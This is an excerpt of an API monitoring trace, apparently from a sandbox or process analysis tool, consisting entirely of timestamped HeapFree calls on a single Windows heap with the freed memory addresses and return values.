	[0171.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0171.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0171.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0172.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0172.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0172.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0172.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5600060 | out: hHeap=0x4f0000) returned 1
	[0172.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0172.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0172.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0172.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0172.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0172.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0172.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0172.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0172.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0172.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0172.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0172.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0172.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0173.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0173.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
